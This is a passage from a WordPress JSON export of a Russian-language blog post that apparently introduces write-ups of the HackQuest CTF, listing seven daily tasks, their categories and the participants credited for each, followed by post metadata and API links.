\u0440\u0430\u0441\u0441\u043a\u0430\u0437 \u043f\u0440\u043e <a href=\"http:\/\/habrahabr.ru\/company\/dsec\/blog\/270393\/\">HackQuest<\/a>. \u041e\u043d \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0448\u0435\u043b \u0438 \u043f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u0445 \u0438 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u0445 \u0440\u0435\u0448\u0430\u043b\u0438. \u0418 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u2014 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u0435\u0439!<\/p>\n<ul>\n<li>1 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cChocolate Factory\u201d (web) \u2014 cdump \u0438 BlackFan <\/li>\n<li>2 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cHSM V1.0\u201d (web, crypto, hash cracking) \u2014 Abr1k0s<\/li>\n<li>3 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cBAZAAR NG\u201d (web) \u2014 AV1ct0r<\/li>\n<li>4 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cILLOGICAL PHOTOGALLERY\u201d (web, oauth) \u2014 Beched<\/li>\n<li>5 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cCRACKME\u201d (reverse) \u2014 sysenter <\/li>\n<li>6 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cBANK ROBBERY\u201d, (phreaking, web) \u2014 dr.glukyne<\/li>\n<li>7 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cBLINK2PWN\u201d, (reverse, binary pwn) \u2014 mr_dawerty<\/li>\n<\/ul>\n<p>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-268811","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/268811","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=268811"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/268811\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=268811"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=268811"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=268811"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}